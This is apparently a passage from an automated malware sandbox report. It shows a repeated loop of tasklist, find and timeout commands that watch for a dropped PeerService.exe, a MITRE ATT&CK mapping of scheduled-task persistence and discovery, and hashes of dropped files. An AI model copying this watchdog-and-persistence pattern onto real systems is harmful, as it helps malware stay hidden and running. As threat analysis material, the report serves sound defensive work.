    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4172
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3604
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3224
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3304
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4100
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2856
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:392
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1848
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2908
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3988
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4960
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3444
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1704
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1664
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3312
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3792
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4920
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4140
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3432
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3356
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1084
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2660
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4868
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2760
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4076
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1948
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3408
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2912
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:216
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3636
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3732
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4432
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1572
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5024
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3012
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4052
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4948
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3528
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:828
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4908
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3300
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3092
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4336
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4288
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4512
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3040
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4712
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1844
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2868
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3824
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4636
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2328
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2352
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:776
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
TLSH
T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ab3de2d9126fb27ca435e1dc001f4e581fd8877b5aeec181a29d68b4377eafa8
MD5 3209a49a76f99485b1d9fa8bfed70b91
SHA1 68d5f6fa6fdadfcc9097222ab511d1f46f2bc499
SHA512 798b65ed986fdda8c905131ab70fb03d22390f7cee05dd3cbf0806647d07fdd78dc4c4e8d1dc167d04bd8f4a12dd278f7d988fb4a35ad2c4af7cff65d28582b5
TLSH
T108218627B3DC8A21CC86123A509D9C10767683D7809ECFAF6BC4D614A0BF988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_gqrjmg1u.psj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gqrjmg1u.psj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 9.5MB
SHA256 cabd53bb1775ad64a0f61201121e6f6c4c22073ce75f7967a45643b3c2e454a7
MD5 b5ccd268194bc5bb15c090026d854478
SHA1 0e17f33e9f75d0a516af9b2fc73679a145104e02
SHA512 5983961ac8de483683b6f0df2d8781eb33cebbf76e20e7cc967a3a28fa3bd73767358a7deea7ca573c525d0c373c646c0b449a4600ec340ed5a30aac6b25589b
SSDEEP 196608:i+hBtOkSeByQyVG/uzGNVyAl3K8fCGnbP5ByQyVG/uzGNVyAl3K8fCGnbPm:ltOuNSG/lVrl3KExLvNSG/lVrl3KExLm
TLSH
T169A6126BB26901E8D1BFD17CC9165907FBB2780543A0A6CF12E046A62F73BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/760-24-0x0000017A1E240000-0x0000017A1E262000-memory.dmp

Download

memory/760-44-0x0000017A1E760000-0x0000017A1E77C000-memory.dmp

Download

memory/760-45-0x0000017A38A90000-0x0000017A38B45000-memory.dmp

Download

memory/760-46-0x0000017A1E780000-0x0000017A1E78A000-memory.dmp

Download

memory/760-55-0x0000017A1E790000-0x0000017A1E79A000-memory.dmp

Download

memory/4364-54-0x00000240B5560000-0x00000240B557C000-memory.dmp

Download

memory/4364-58-0x00000240B5580000-0x00000240B5586000-memory.dmp

Download

memory/4364-59-0x00000240B5590000-0x00000240B559A000-memory.dmp

Download

memory/4364-57-0x00000240B5340000-0x00000240B5348000-memory.dmp

Download

memory/4364-56-0x00000240B55A0000-0x00000240B55BA000-memory.dmp

Download